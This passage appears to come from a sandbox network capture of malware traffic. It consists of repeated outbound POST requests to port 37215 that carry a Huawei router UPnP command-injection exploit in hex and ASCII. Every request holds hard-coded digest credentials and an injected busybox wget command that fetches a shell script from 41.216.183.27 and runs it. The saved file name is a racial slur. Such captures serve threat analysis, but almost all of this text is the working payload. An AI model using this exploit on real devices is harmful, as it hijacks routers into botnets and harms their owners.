Feb 19, 2024 18:36:12.558511019 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:17.165817022 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:26.124583960 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:44.554092884 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:21.412992001 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.23	53550	31.136.21.235	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:08.499910116 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:09.070892096 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:10.190701008 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:12.558442116 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
